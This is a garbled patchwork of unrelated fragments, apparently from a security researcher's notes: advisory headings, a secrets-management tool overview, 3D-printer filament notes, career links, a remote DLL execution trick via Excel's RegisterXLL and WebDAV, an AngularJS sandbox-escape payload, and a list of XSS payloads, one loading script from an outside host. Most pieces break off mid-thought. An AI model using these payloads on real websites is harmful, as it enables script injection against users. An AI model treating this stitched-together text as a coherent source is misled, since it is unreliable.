Robert rmusser01

WordPress Flash XSS in flashmediaelement.swf

Intro
Background
Affected Systems
Mitigation

Quick Overview

Currently, there is an explosion of tools that aim to manage secrets for automated, cloud native infrastructure management. Daniel Somerfield did some work classifying the various approaches, but (as far as I know) no one has made a recent effort to summarize the various tools.

This is an attempt to give a quick overview of what can be found out there. The list is alphabetical. There will be tools that are missing, and some of the facts might be wrong--I welcome your corrections. For the purpose, I can be reached via @maxvt on Twitter, or just leave me a comment here.

There is a companion feature matrix of various tools. Comments are welcome in the same manner.

1.3.2 and below

{{7*7}}

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';

1944 Simple Sabotage Field Manual, by Strategic Services

https://www.cia.gov/news-information/featured-story-archive/2012-featured-story-archive/CleanedUOSSSimpleSabotage_sm.pdf

Title: Simple Sabotage Field Manual Author: Strategic Services Office of Strategic Services

(all subject to change!)

Filaments tried

ProtoParadigm

PLA white, black, sapphire: Sapphire was tricky to get into Bowden tube at first, but once in, all three printed fine.
PLA summer colors: easy to use, cheap for a lot of different colors

Hatchbox

How to Build a Successful Information Security Career (Daniel Miessler)
- https://danielmiessler.com/blog/build-successful-infosec-career/#gs.DtVCbbw
The First Steps to a Career in Information Security (Errata Security - Marisa Fagan)
- http://blog.erratasec.com/2010/04/first-steps-to-career-in-information.html#.WFrbofkrIuU
Hiring your first Security Professional (Peerlyst - Dawid Balut)
- https://www.peerlyst.com/posts/hiring-your-first-security-professional-dawid-balut
How to Start a Career in Cyber security
- https://www.concise-courses.com/security/how-to-start-your-career/
How to Get Into Information Security (ISC^2)
https://www.isc2.org/how-to-get-into-information-security.aspx

Paul Buonopane [email protected] at NamePros
PGP: https://keybase.io/zenexer

I'm working on cleaning up this advisory so that it's more informative at a glance. Suggestions are welcome.

This advisory addresses the underlying PHP vulnerabilities behind Dawid Golunski's [CVE-2016-10033][CVE-2016-10033], [CVE-2016-10045][CVE-2016-10045], and [CVE-2016-10074][CVE-2016-10074]. It assumes prior understanding of these vulnerabilities.

This advisory does not yet have associated CVE identifiers.

Summary

DLL Execution via Excel.Application RegisterXLL() method

A DLL can be loaded and executed via Excel by initializing the Excel.Application COM object and passing a DLL to the RegisterXLL method. The DLL path does not need to be local, it can also be a UNC path that points to a remote WebDAV server.

When delivering via WebDAV, it should be noted that the DLL is still written to disk but the dropped file is not the one loaded in to the process. This is the case for any file downloaded via WebDAV, and they are stored at: C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV\.

The RegisterXLL function expects an XLL add-in which is essentially a specially crafted DLL with specific exports. More info on XLL's can be found on MSDN

The XLL can also be executed by double-clicking the .xll file, however there is a security warning. @rxwx has more notes on this here inc

	';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
	'';!--"<XSS>=&{()}
	0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
	<script/src=data:,alert()>
	<marquee/onstart=alert()>
	<video/poster/onerror=alert()>
	<isindex/autofocus/onfocus=alert()>
	<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
	<IMG SRC="javascript:alert('XSS');">
	<IMG SRC=javascript:alert('XSS')>


	// Link with psapi.lib

	#define NOMINMAX
	#define WIN32_LEAN_AND_MEAN
	#include <Windows.h>
	#include <Psapi.h>

	int main (void)
	{